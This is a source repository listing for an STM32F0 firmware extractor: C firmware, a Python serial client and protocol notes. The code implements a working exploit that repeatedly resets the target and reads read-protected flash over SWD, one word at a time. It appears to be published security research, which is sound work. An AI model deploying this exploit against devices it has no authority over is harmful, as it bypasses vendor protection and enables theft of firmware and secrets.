├── LICENSE ├── Makefile ├── cli ├── LICENSE └── client.py ├── clk.c ├── clk.h ├── link.ld ├── main.c ├── main.h ├── protocol.txt ├── st ├── LICENSE ├── startup_stm32f0.S ├── stm32f0xx.h └── system_stm32f0xx.c ├── swd.c ├── swd.h ├── swdFirmwareExtractor.elf ├── target.c ├── target.h ├── uart.c └── uart.h /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2017 Johannes Obermaier 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | this software and associated documentation files (the "Software"), to deal in 5 | the Software without restriction, including without limitation the rights to 6 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies 7 | of the Software, and to permit persons to whom the Software is furnished to do 8 | so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # Copyright (C) 2017 Obermaier Johannes 3 | # 4 | # This Source Code Form is subject to the terms of the MIT License. 5 | # If a copy of the MIT License was not distributed with this file, 6 | # you can obtain one at https://opensource.org/licenses/MIT 7 | # 8 | 9 | #compiler flags 10 | CFLAGS = -mthumb -mcpu=cortex-m0 -g3 -O0 -D STM32F051 -Wall -Wextra 11 | 12 | #linker flags 13 | LDFLAGS = -T link.ld -nostartfiles 14 | 15 | #cross compiler 16 | CC = arm-none-eabi-gcc 17 | 18 | 19 | all: main.o clk.o swd.o target.o uart.o st/startup_stm32f0.o 20 | $(CC) $(LDFLAGS) $(CFLAGS) main.o clk.o swd.o target.o uart.o st/startup_stm32f0.o -o swdFirmwareExtractor.elf 21 | 22 | main.o: main.c main.h 23 | $(CC) $(CFLAGS) -c main.c -o main.o 24 | 25 | clk.o: clk.c clk.h 26 | $(CC) $(CFLAGS) -c clk.c -o clk.o 27 | 28 | swd.o: swd.c swd.h 29 | $(CC) $(CFLAGS) -c swd.c -o swd.o 30 | 31 | target.o: target.c target.h 32 | $(CC) $(CFLAGS) -c target.c -o target.o 33 | 34 | uart.o: uart.c uart.h 35 | $(CC) $(CFLAGS) -c uart.c -o uart.o 36 | 37 | st/startup_stm32f0.o: st/startup_stm32f0.S 38 | $(CC) $(CFLAGS) -c st/startup_stm32f0.S -o st/startup_stm32f0.o 39 | 40 | clean: 41 | rm -f main.o clk.o swd.o target.o uart.o st/startup_stm32f0.o 42 | -------------------------------------------------------------------------------- /cli/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2017 Stefan Tatschner 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | this software and associated documentation files (the "Software"), to deal in 5 | the Software without restriction, including without limitation the rights to 6 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies 7 | of the Software, and to permit persons to whom the Software is furnished to do 8 | so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included in all 11 | copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. 20 | -------------------------------------------------------------------------------- /cli/client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # 3 | # Copyright (C) 2017 Stefan Tatschner 4 | # 5 | # This Source Code Form is subject to the terms of the MIT License. 6 | # If a copy of the MIT License was not distributed with this file, 7 | # you can obtain one at https://opensource.org/licenses/MIT 8 | # 9 | 10 | import argparse 11 | import os.path 12 | from datetime import datetime 13 | import subprocess 14 | import signal 15 | import time 16 | 17 | from prompt_toolkit import prompt 18 | from prompt_toolkit.contrib.completers import WordCompleter 19 | from prompt_toolkit.history import InMemoryHistory 20 | from prompt_toolkit.auto_suggest import AutoSuggestFromHistory 21 | 22 | 23 | def auto_int(x): 24 | return int(x, 0) 25 | 26 | 27 | def parse_args(): 28 | parser = argparse.ArgumentParser( 29 | description='Firmware Extractor User Interface', 30 | ) 31 | parser.add_argument( 32 | 'SerialDeviceFILE', 33 | help='Device File to read from (e.g., /dev/ttyUSB0)' 34 | ) 35 | parser.add_argument( 36 | '-i', 37 | '--interactive', 38 | action='store_true', 39 | help='Use interactive mode' 40 | ) 41 | parser.add_argument( 42 | '-s', 43 | '--start', 44 | type=auto_int, 45 | default=0x00, 46 | help='Set start address', 47 | ) 48 | parser.add_argument( 49 | '-l', 50 | '--length', 51 | type=auto_int, 52 | default=0x10000, 53 | help='Number of bytes to extract', 54 | ) 55 | parser.add_argument( 56 | '-e', 57 | '--endianess', 58 | default='little', 59 | choices=['little', 'big'], 60 | help='Set endianess', 61 | ) 62 | parser.add_argument( 63 | '-o', 64 | '--outfile', 65 | default='data-{}.bin'.format(datetime.now().strftime('%Y%m%d_%H%M')), 66 | help='Set output file path', 67 | ) 68 | 69 | return parser.parse_args() 70 | 71 | 72 | finish = False 73 | 74 | def sigalarm_handler(signo, frame): 75 | # I want to print the statistics in the end of the program. 76 | # We can create an infinite loop with this sigalarm_handler, 77 | # as multiline mode of send_cmd() uses SIGALARM as well. 78 | # The global variable finish handles this case. And helps 79 | # us terminate the program when the timeout is fired a second 80 | # time. 81 | global finish 82 | if finish: 83 | print() 84 | print('Programm finished.') 85 | exit() 86 | 87 | print('End of data.') 88 | print() 89 | finish = True 90 | UART('/dev/ttyUSB0').send_cmd('P', True) 91 | 92 | 93 | def decode_ascii(s, outfile): 94 | out = '' 95 | for i in range(0, len(s), 2): 96 | char = int(s[i:i+2], 16) 97 | outfile.write(char.to_bytes(1, 'little')) 98 | if char > 31 and char < 127: 99 | out += chr(char) 100 | else: 101 | out += '.' 102 | return out 103 | 104 | 105 | def print_error(errcode): 106 | print() 107 | print('StatusCode: {:02X}'.format(errcode)) 108 | 109 | if errcode == 0x20: 110 | print('Status OK') 111 | elif errcode == 0x40: 112 | print('Wait/Retry requested (bus access was not granted in time)') 113 | elif errcode == 0x06: 114 | print('Wait requested + additional OK (previous command OK, but no bus access)') 115 | elif errcode == 0x80: 116 | print('Fault during command execution (command error (access denied etc.))') 117 | elif errcode == 0xA0: 118 | print('Fault after successful command execution (reading invalid memory address?).') 119 | elif errcode == 0xE0: 120 | print('Failure during communication (check connection, no valid status reply received)') 121 | else: 122 | print('Unknown status code') 123 | 124 | 125 | def _read_enddata(fd): 126 | buf = '' 127 | nchar = 0 128 | state = 'stat' 129 | print() 130 | # Print remaining data from uart until timeout is reached. 131 | while True: 132 | signal.alarm(1) 133 | char = fd.read(1) 134 | signal.alarm(0) 135 | 136 | print(char, end='') 137 | buf += char 138 | 139 | if char == '!': 140 | state = 'err' 141 | 142 | if state == 'err': 143 | if nchar == 25: 144 | print_error(int(buf[-8:], 16)) 145 | nchar += 1 146 | 147 | 148 | def read_ascii(fd, outfile): 149 | l = 0 150 | c = 0 151 | line = '' 152 | lineraw = '' 153 | outfile = open(outfile, 'ab', 16) 154 | 155 | while True: 156 | line += '0x{:08X}: '.format(16*l) 157 | decoded_line = '' 158 | 159 | while c < 32: 160 | char = fd.read(1) 161 | 162 | if char == ' ': 163 | continue 164 | 165 | lineraw += char 166 | 167 | if c % 2 == 0 and c != 0: 168 | line += ' ' 169 | if c % 16 == 0 and c != 0: 170 | line += ' ' 171 | 172 | # Reached end of data. 173 | # Flush all buffers and read special stuff at the end. 174 | if char == '\r' or char == '\n': 175 | try: 176 | line += ' |' + decode_ascii(lineraw, outfile) + '|' 177 | except ValueError: 178 | pass 179 | print(line) 180 | outfile.flush() 181 | outfile.close() 182 | _read_enddata(fd) 183 | c += 1 184 | line += char 185 | 186 | line += ' |' + decode_ascii(lineraw, outfile) + '|' 187 | 188 | print(line) 189 | line = '' 190 | lineraw = '' 191 | l += 1 192 | c = 0 193 | 194 | 195 | class UART: 196 | 197 | def __init__(self, devnode): 198 | self.devnode = devnode 199 | subprocess.call( [ 200 | 'stty', 201 | '--file={}'.format(self.devnode), 202 | '115200', 203 | 'raw', 204 | '-echok', 205 | '-echo', 206 | ]) 207 | 208 | def send_cmd(self, code, multiline=False): 209 | readfd = open(self.devnode, 'r') 210 | writefd = open(self.devnode, 'w') 211 | time.sleep(0.1) 212 | writefd.write(code + '\n') 213 | 214 | while True: 215 | try: 216 | if multiline: 217 | signal.alarm(1) 218 | char = readfd.read(1) 219 | signal.alarm(0) 220 | if not multiline: 221 | if char == '\r' or char == '\n': 222 | print() 223 | break 224 | print(char, end='') 225 | except UnicodeDecodeError: 226 | print('Received garbage from target.') 227 | print('Is it already running?') 228 | print('Shutting down...') 229 | exit(1) 230 | 231 | writefd.close() 232 | readfd.close() 233 | 234 | def open(self, mode): 235 | return open(self.devnode, mode) 236 | 237 | 238 | class REPL: 239 | 240 | def __init__(self, start=0x00, length=0x10000, mode='bin', 241 | byteorder='little', devnode='/dev/ttyUSB0'): 242 | self.history = InMemoryHistory() 243 | self.promt = '> ' 244 | self.config = { 245 | 'start': start, 246 | 'length': length, 247 | 'byteorder': byteorder, 248 | 'outfile': 'data-{}.bin'.format(datetime.now().strftime('%Y%m%d_%H%M')), 249 | } 250 | self.uart = UART(devnode) 251 | 252 | def handle_cmd(self, cmd, *args): 253 | if cmd == 'set': 254 | self.set_config(args[0], args[1]) 255 | elif cmd == 'run': 256 | self.apply_config() 257 | self.uart.send_cmd('S') 258 | fd = self.uart.open('r') 259 | print() 260 | read_ascii(fd, self.config['outfile']) 261 | fd.close() 262 | elif cmd == 'cmd': 263 | self.uart.send_cmd(args[0], True) 264 | elif cmd == 'help': 265 | self.show_help() 266 | elif cmd == 'exit': 267 | print('Exit command received. Leaving...') 268 | exit(0) 269 | else: 270 | print('Error: Unknown command.') 271 | print("Try 'help'") 272 | 273 | def show_config(self): 274 | print('# Current Configuration') 275 | lines = [] 276 | if self.config: 277 | tpl = ' {:<12}: ' 278 | for key, val in self.config.items(): 279 | if isinstance(val, int): 280 | fstr = tpl + '0x{:X}' 281 | else: 282 | fstr = tpl + '{}' 283 | lines.append(fstr.format(key, val)) 284 | print('\n'.join(sorted(lines))) 285 | 286 | def show_help(self): 287 | print('# Supported commands') 288 | print(' set KEY VAL : Set configuration value KEY to VAL') 289 | print(' cmd CODE : Send command code to UART') 290 | print(' run : Start reading out code') 291 | print(' help : Show this help page') 292 | print(' exit : Terminate programm') 293 | 294 | def set_config(self, key, val): 295 | if key == 'byteorder': 296 | if val not in ('little', 'big'): 297 | print('Error: Wrong byteorder. Choose "little" or "big".') 298 | return 299 | elif key == 'start': 300 | val = int(val, 0) 301 | if val > 0x10000: 302 | print('Error: Start address is too large.') 303 | return 304 | elif key == 'length': 305 | val = int(val, 0) 306 | elif key == 'outfile': 307 | self.config[key] = str(val) 308 | else: 309 | print('Error: Config key does not exist.') 310 | return 311 | 312 | self.config[key] = val 313 | self.show_config() 314 | 315 | def apply_config(self): 316 | self.uart.send_cmd('A{:X}'.format(self.config['start'])) 317 | self.uart.send_cmd('L{:X}'.format(self.config['length'])) 318 | # Hardcode HEX mode 319 | self.uart.send_cmd('H') 320 | cmd = 'e' if self.config['byteorder'] == 'little' else 'E' 321 | self.uart.send_cmd(cmd) 322 | 323 | def run_loop(self): 324 | self.show_help() 325 | print() 326 | self.show_config() 327 | 328 | try: 329 | while True: 330 | cmd = prompt(self.promt, 331 | history=self.history, 332 | auto_suggest=AutoSuggestFromHistory(), 333 | ) 334 | 335 | cmd = cmd.strip().split() 336 | cmd = cmd if cmd else '' 337 | 338 | if cmd != '': 339 | self.handle_cmd(*cmd) 340 | except KeyboardInterrupt: 341 | print('KeyboardInterrupt received. Shutting down...') 342 | exit(1) 343 | except EOFError: 344 | print('Reached end of line. Leaving...') 345 | exit(0) 346 | 347 | 348 | def main(): 349 | args = parse_args() 350 | signal.signal(signal.SIGALRM, sigalarm_handler) 351 | 352 | if not os.path.exists(args.SerialDeviceFILE): 353 | print('Error: No such file.') 354 | exit(1) 355 | 356 | if args.interactive: 357 | REPL(devnode=args.SerialDeviceFILE).run_loop() 358 | exit(0) 359 | 360 | # If the script is not in interactive mode, issue this stuff 361 | # manually. 362 | uart = UART(args.SerialDeviceFILE) 363 | uart.send_cmd('A{:X}'.format(args.start)) 364 | uart.send_cmd('L{:X}'.format(args.length)) 365 | uart.send_cmd('H') # Hardcode HEX mode 366 | if args.endianess == 'big': 367 | uart.send_cmd('E') 368 | else: 369 | uart.send_cmd('e') 370 | uart.send_cmd('S') 371 | fd = uart.open('r') 372 | print() 373 | 374 | try: 375 | read_ascii(fd, args.outfile) 376 | except KeyboardInterrupt: 377 | print('Leaving...') 378 | finally: 379 | fd.close() 380 | 381 | 382 | if __name__ == '__main__': 383 | main() 384 | -------------------------------------------------------------------------------- /clk.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2017 Obermaier Johannes 3 | * 4 | * This Source Code Form is subject to the terms of the MIT License. 5 | * If a copy of the MIT License was not distributed with this file, 6 | * you can obtain one at https://opensource.org/licenses/MIT 7 | */ 8 | 9 | #include "clk.h" 10 | 11 | /* Systick is used for wait* functions. We use it as a raw timer (without interrupts) for simplicity. */ 12 | #define F_CPU (48000000u) 13 | #define SYSTICK_MAX (0xFFFFFFu) 14 | #define SYSTICK_TICKS_PER_US (F_CPU / 1000000u) 15 | #define SYSTICK_CSR_ADDR ((uint32_t *) 0xE000E010u) 16 | #define SYSTICK_CVR_ADDR ((uint32_t *) 0xE000E018u) 17 | #define SYSTICK_CSR_ON (0x00000005u) 18 | /* Systick config end */ 19 | 20 | static uint32_t volatile *sysTickCSR = SYSTICK_CSR_ADDR; 21 | static uint32_t volatile *sysTickCVR = SYSTICK_CVR_ADDR; 22 | 23 | 24 | /* Choose 48MHz system clock using the PLL */ 25 | void clkEnablePLLInt( void ) 26 | { 27 | /* Flash Latency for >=24MHz: One wait state */ 28 | FLASH->ACR |= FLASH_ACR_LATENCY; 29 | 30 | /* Prediv = 2 */ 31 | RCC->CFGR2 = RCC_CFGR2_PREDIV1_DIV2; 32 | RCC->CFGR |= RCC_CFGR_PLLMUL12 | RCC_CFGR_PLLSRC_HSI_PREDIV; 33 | 34 | RCC->CR |= RCC_CR_PLLON; 35 | 36 | while (!(RCC->CR & RCC_CR_PLLRDY)) 37 | { 38 | ; /* Wait for clock to become stable */ 39 | } 40 | 41 | RCC->CFGR = (RCC->CFGR & ~(RCC_CFGR_SW)) | RCC_CFGR_SW_PLL; 42 | 43 | while ((RCC->CFGR & RCC_CFGR_SWS) != RCC_CFGR_SWS_PLL) 44 | { 45 | ; /* Wait for clock to become selected */ 46 | } 47 | 48 | return ; 49 | } 50 | 51 | 52 | void clkEnableSystick( void ) 53 | { 54 | /* Initialize the Systick timer (no interrupts!) */ 55 | *sysTickCSR = SYSTICK_CSR_ON; 56 | *sysTickCVR = SYSTICK_MAX; 57 | 58 | return ; 59 | } 60 | 61 | 62 | void waitus( uint16_t const us ) 63 | { 64 | uint32_t cmpTicks = 0u; 65 | 66 | *sysTickCVR = SYSTICK_MAX; 67 | 68 | cmpTicks = SYSTICK_MAX - ((uint32_t) us * SYSTICK_TICKS_PER_US); 69 | 70 | while (*sysTickCVR >= cmpTicks) 71 | { 72 | ; /* Wait */ 73 | } 74 | 75 | return ; 76 | } 77 | 78 | 79 | void waitms( uint16_t const ms ) 80 | { 81 | uint16_t timeMs = ms; 82 | 83 | while (timeMs) 84 | { 85 | waitus(1000u); 86 | --timeMs; 87 | } 88 | 89 | return ; 90 | } 91 | -------------------------------------------------------------------------------- /clk.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2017 Obermaier Johannes 3 | * 4 | * This Source Code Form is subject to the terms of the MIT License. 5 | * If a copy of the MIT License was not distributed with this file, 6 | * you can obtain one at https://opensource.org/licenses/MIT 7 | */ 8 | 9 | #ifndef INC_CLK_H 10 | #define INC_CLK_H 11 | #include "st/stm32f0xx.h" 12 | 13 | void clkEnablePLLInt( void ); 14 | void clkEnableSystick( void );; 15 | 16 | void waitus( uint16_t const us ); 17 | void waitms( uint16_t const ms ); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /link.ld: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2017 Obermaier Johannes 3 | * 4 | * This Source Code Form is subject to the terms of the MIT License. 5 | * If a copy of the MIT License was not distributed with this file, 6 | * you can obtain one at https://opensource.org/licenses/MIT 7 | */ 8 | 9 | /* entry point address for ELF */ 10 | ENTRY(Reset_Handler) 11 | 12 | /* place stack at end of 8K SRAM */ 13 | _estack = 0x20002000; 14 | 15 | /* Specify the memory areas */ 16 | MEMORY 17 | { 18 | FLASH (rx) : ORIGIN = 0x08000000, LENGTH = 64K 19 | RAM (xrw) : ORIGIN = 0x20000000, LENGTH = 8K 20 | } 21 | 22 | SECTIONS 23 | { 24 | .text : 25 | { 26 | . = ALIGN(4); 27 | *(.isr_vector) 28 | *(.text) 29 | *(.text*) 30 | . = ALIGN(4); 31 | _etext = .; 32 | } >FLASH 33 | 34 | .rodata : 35 | { 36 | . = ALIGN(8); 37 | *(.rodata) 38 | *(.rodata*) 39 | . = ALIGN(8); 40 | } >FLASH 41 | 42 | _sidata = LOADADDR(.data); 43 | 44 | .data : 45 | { 46 | . = ALIGN(8); 47 | _sdata = .; 48 | *(.data) 49 | *(.data*) 50 | . = ALIGN(8); 51 | _edata = .; 52 | } >RAM AT> FLASH 53 | 54 | . = ALIGN(8); 55 | .bss : 56 | { 57 | _sbss = .; 58 | __bss_start__ = _sbss; 59 | *(.bss) 60 | *(.bss*) 61 | *(COMMON) 62 | 63 | . = ALIGN(8); 64 | _ebss = .; 65 | __bss_end__ = _ebss; 66 | } >RAM 67 | 68 | /DISCARD/ : 69 | { 70 | libc.a ( * ) 71 | libm.a ( * ) 72 | libgcc.a ( * ) 73 | } 74 | 75 | } 76 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2017 Obermaier Johannes 3 | * 4 | * This Source Code Form is subject to the terms of the MIT License. 5 | * If a copy of the MIT License was not distributed with this file, 6 | * you can obtain one at https://opensource.org/licenses/MIT 7 | */ 8 | 9 | #include 10 | #include 11 | #include "st/stm32f0xx.h" 12 | #include "main.h" 13 | #include "clk.h" 14 | #include "swd.h" 15 | #include "target.h" 16 | #include "uart.h" 17 | 18 | 19 | static swdStatus_t extractFlashData( uint32_t const address, uint32_t * const data ); 20 | 21 | static extractionStatistics_t extractionStatistics = {0u}; 22 | static uartControl_t uartControl = {0u}; 23 | 24 | 25 | /* Reads one 32-bit word from read-protection Flash memory. 26 | Address must be 32-bit aligned */ 27 | static swdStatus_t extractFlashData( uint32_t const address, uint32_t * const data ) 28 | { 29 | swdStatus_t dbgStatus = swdStatusNone; 30 | 31 | /* Add some jitter on the moment of attack (may increase attack effectiveness) */ 32 | static uint16_t delayJitter = DELAY_JITTER_MS_MIN; 33 | 34 | uint32_t extractedData = 0u; 35 | uint32_t idCode = 0u; 36 | 37 | /* Limit the maximum number of attempts PER WORD */ 38 | uint32_t numReadAttempts = 0u; 39 | 40 | 41 | /* try up to MAX_READ_TRIES times until we have the data */ 42 | do 43 | { 44 | GPIO_LED_GREEN->ODR &= ~(0x01u << PIN_LED_GREEN); 45 | 46 | targetSysOn(); 47 | 48 | waitms(5u); 49 | 50 | dbgStatus = swdInit( &idCode ); 51 | 52 | if (likely(dbgStatus == swdStatusOk)) 53 | { 54 | dbgStatus = swdEnableDebugIF(); 55 | } 56 | 57 | if (likely(dbgStatus == swdStatusOk)) 58 | { 59 | dbgStatus = swdSetAP32BitMode( NULL ); 60 | } 61 | 62 | if (likely(dbgStatus == swdStatusOk)) 63 | { 64 | dbgStatus = swdSelectAHBAP(); 65 | } 66 | 67 | if (likely(dbgStatus == swdStatusOk)) 68 | { 69 | targetSysUnReset(); 70 | waitms(delayJitter); 71 | 72 | /* The magic happens here! */ 73 | dbgStatus = swdReadAHBAddr( (address & 0xFFFFFFFCu), &extractedData ); 74 | } 75 | 76 | targetSysReset(); 77 | ++(extractionStatistics.numAttempts); 78 | 79 | /* Check whether readout was successful. Only if swdStatusOK is returned, extractedData is valid */ 80 | if (dbgStatus == swdStatusOk) 81 | { 82 | *data = extractedData; 83 | ++(extractionStatistics.numSuccess); 84 | GPIO_LED_GREEN->ODR |= (0x01u << PIN_LED_GREEN); 85 | } 86 | else 87 | { 88 | ++(extractionStatistics.numFailure); 89 | ++numReadAttempts; 90 | 91 | delayJitter += DELAY_JITTER_MS_INCREMENT; 92 | if (delayJitter >= DELAY_JITTER_MS_MAX) 93 | { 94 | delayJitter = DELAY_JITTER_MS_MIN; 95 | } 96 | } 97 | 98 | targetSysOff(); 99 | 100 | waitms(1u); 101 | } 102 | while ((dbgStatus != swdStatusOk) && (numReadAttempts < (MAX_READ_ATTEMPTS))); 103 | 104 | return dbgStatus; 105 | } 106 | 107 | 108 | void printExtractionStatistics( void ) 109 | { 110 | uartSendStr("Statistics: \r\n"); 111 | 112 | uartSendStr("Attempts: 0x"); 113 | uartSendWordHexBE(extractionStatistics.numAttempts); 114 | uartSendStr("\r\n"); 115 | 116 | uartSendStr("Success: 0x"); 117 | uartSendWordHexBE(extractionStatistics.numSuccess); 118 | uartSendStr("\r\n"); 119 | 120 | uartSendStr("Failure: 0x"); 121 | uartSendWordHexBE(extractionStatistics.numFailure); 122 | uartSendStr("\r\n"); 123 | } 124 | 125 | 126 | int main() 127 | { 128 | /* Enable all GPIO clocks */ 129 | RCC->AHBENR |= RCC_AHBENR_GPIOAEN | RCC_AHBENR_GPIOBEN | RCC_AHBENR_GPIOCEN | RCC_AHBENR_GPIODEN | RCC_AHBENR_GPIOEEN | RCC_AHBENR_GPIOFEN; 130 | targetSysCtrlInit(); 131 | swdCtrlInit(); 132 | uartInit(); 133 | 134 | clkEnablePLLInt(); 135 | clkEnableSystick(); 136 | 137 | /* Board LEDs */ 138 | GPIO_LED_BLUE->MODER |= (0x01u << (PIN_LED_BLUE << 1u)); 139 | GPIO_LED_GREEN->MODER |= (0x01u << (PIN_LED_GREEN << 1u)); 140 | GPIO_LED_BLUE->OSPEEDR |= (0x03 << (PIN_LED_BLUE << 1u)); 141 | GPIO_LED_GREEN->OSPEEDR |= (0x03u << (PIN_LED_GREEN << 1u)); 142 | GPIO_LED_BLUE->ODR |= (0x01u << PIN_LED_BLUE); 143 | 144 | 145 | 146 | uartControl.transmitHex = 0u; 147 | uartControl.transmitLittleEndian = 1u; 148 | uartControl.readoutAddress = 0x00000000u; 149 | uartControl.readoutLen = (64u * 1024u); 150 | uartControl.active = 0u; 151 | 152 | 153 | uint32_t readoutInd = 0u; 154 | uint32_t flashData = 0xFFFFFFFFu; 155 | uint32_t btnActive = 0u; 156 | uint32_t once = 0u; 157 | swdStatus_t status = swdStatusOk; 158 | 159 | while (1u) 160 | { 161 | uartReceiveCommands( &uartControl ); 162 | 163 | /* Start as soon as the button B1 has been pushed */ 164 | if (GPIO_BUTTON->IDR & (0x01u << (PIN_BUTTON))) 165 | { 166 | btnActive = 1u; 167 | } 168 | 169 | if (uartControl.active || btnActive) 170 | { 171 | /* reset statistics on extraction start */ 172 | if (!once) 173 | { 174 | once = 1u; 175 | 176 | extractionStatistics.numAttempts = 0u; 177 | extractionStatistics.numSuccess = 0u; 178 | extractionStatistics.numFailure = 0u; 179 | } 180 | 181 | status = extractFlashData((uartControl.readoutAddress + readoutInd), &flashData); 182 | 183 | if (status == swdStatusOk) 184 | { 185 | 186 | if (!(uartControl.transmitHex)) 187 | { 188 | uartSendWordBin( flashData, &uartControl ); 189 | } 190 | else 191 | { 192 | uartSendWordHex( flashData, &uartControl ); 193 | uartSendStr(" "); 194 | } 195 | 196 | readoutInd += 4u; 197 | } 198 | else 199 | { 200 | if (uartControl.transmitHex) 201 | { 202 | uartSendStr("\r\n!ExtractionFailure"); 203 | uartSendWordHexBE( status ); 204 | } 205 | } 206 | 207 | if ((readoutInd >= uartControl.readoutLen) || (status != swdStatusOk)) 208 | { 209 | btnActive = 0u; 210 | uartControl.active = 0u; 211 | readoutInd = 0u; 212 | once = 0u; 213 | 214 | /* Print EOF in HEX mode */ 215 | if (uartControl.transmitHex != 0u) 216 | { 217 | uartSendStr("\r\n"); 218 | } 219 | } 220 | } 221 | } 222 | 223 | return 0u; 224 | } 225 | -------------------------------------------------------------------------------- /main.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2017 Obermaier Johannes 3 | * 4 | * This Source Code Form is subject to the terms of the MIT License. 5 | * If a copy of the MIT License was not distributed with this file, 6 | * you can obtain one at https://opensource.org/licenses/MIT 7 | */ 8 | 9 | #ifndef INC_MAIN_H 10 | #define INC_MAIN_H 11 | #include 12 | 13 | 14 | #ifndef NULL 15 | #define NULL ((void*) 0) 16 | #endif 17 | 18 | #define likely(x) __builtin_expect((x),1) 19 | #define unlikely(x) __builtin_expect((x),0) 20 | 21 | #define GPIO_LED_BLUE (GPIOC) 22 | #define GPIO_LED_GREEN (GPIOC) 23 | #define GPIO_BUTTON (GPIOA) 24 | 25 | #define PIN_LED_BLUE (8u) 26 | #define PIN_LED_GREEN (9u) 27 | #define PIN_BUTTON (0u) 28 | 29 | #define MAX_READ_ATTEMPTS (100u) 30 | 31 | /* all times in milliseconds */ 32 | /* minimum wait time between reset deassert and attack */ 33 | #define DELAY_JITTER_MS_MIN (20u) 34 | /* increment per failed attack */ 35 | #define DELAY_JITTER_MS_INCREMENT (1u) 36 | /* maximum wait time between reset deassert and attack */ 37 | #define DELAY_JITTER_MS_MAX (50u) 38 | 39 | /* flash readout statistics */ 40 | typedef struct { 41 | uint32_t numAttempts; 42 | uint32_t numSuccess; 43 | uint32_t numFailure; 44 | } extractionStatistics_t; 45 | 46 | void printExtractionStatistics( void ); 47 | 48 | #endif 49 | -------------------------------------------------------------------------------- /protocol.txt: -------------------------------------------------------------------------------- 1 | Communication protocol documentation 2 | 3 | UART interface, 3.3V signal levels 4 | Pin PA2: TX (microcontroller -> PC) 5 | Pin PA3: RX (microcontroller <- PC) 6 | 115200 Baud (115k2 Baud) 7 | 8 Bit 8 | No Parity 9 | 1 Stop Bit 10 | 11 | Each command consists of 1 up to several characters followed by a newline (\n). \r and \r\n is also accepted as command ending. 12 | 13 | - Set the start address for firmware extraction (default: 0 = 0x00000000 = "A00000000"): 14 | AXXXXXXXX\n (where XXXXXXXX is the address HEX. E.g., send A08000000\n to start firmware extraction from address 0x08000000) 15 | 16 | - Set the length of data extraction (default: 65535 = 0x10000 = "L00010000"): 17 | LXXXXXXXX\n (where XXXXXXXX is the length in HEX. E.g., send L00001000\n to extract 0x1000 = 4096 bytes of data.) 18 | 19 | - Set BIN output mode (default): 20 | B\n 21 | 22 | - Set HEX output mode: 23 | H\n 24 | 25 | - Select Little Endian output (default): 26 | e\n 27 | 28 | - Select Big Endian output: 29 | E\n 30 | 31 | - Start Firmware extraction: 32 | S\n 33 | 34 | - Print statistics: 35 | P\n 36 | 37 | 38 | The microcontroller will acknowledge every valid command with a human-readible reply containing the current setting. An invalid command will be rejected with "ERROR: unknown command". Each reply microcontroller->PC is ended by \r\n. 39 | The address as well as the length (A and L commands) will be automatically adjusted to 32-bit alignment. 40 | 41 | Example for HEX output mode, the firmware dump is also ended by \r\n: 42 | AF77D29D 1526DB04 8316DC73 120B63E3 843B6494 \r\n 43 | 44 | In BIN mode, the firmware is sent directly in binary form without any modification (\r\n at the end is also omitted). 45 | 46 | Little Endian mode is recommended for firmware extraction. Disassemblers like radare2 expect the firmware binary to be in little endian. Strings will be directly readible when using little endian. 47 | 48 | The success ratio depends on bus load and other parameters. If a read access fails, it will be retried automatically. 49 | When reading an address failes for more than 100 times, the extraction will be aborted, since there is a major issue. The system will print 50 | \r\n!ExtractionFailureXXXXXXXX\r\n 51 | where XXXXXXXX is the SWD status in hex. (see swd.h swdStatus_t). 52 | Reasons can be: 53 | - Incorrect connection (SWD, Reset and Power connected correctly? Have you removed any (additional) debugger form the SWD?) 54 | - The chip is not affected by the exploit (may apply to future revisions, if ST decides to update their IC masks...) 55 | - You are trying to read into non-existant memory (e.g. Trying to read 128KBytes out of a 64KByte device) 56 | 57 | 58 | The statistics function prints the following data in Hex: 59 | Statistics: \r\n 60 | Attempts: 0x00001234\r\n 61 | Success: 0x00001200\r\n 62 | Failure: 0x00000034\r\n 63 | 64 | Statistics are reset each time the system start extraction (= when the "S" command is received). 65 | Attempts: Number of total read attempts (Sum of Success and Failure) 66 | Success: Number of successful reads 67 | Failure: Nummer of unsuccessful reads 68 | -------------------------------------------------------------------------------- /st/LICENSE: -------------------------------------------------------------------------------- 1 | COPYRIGHT 2014 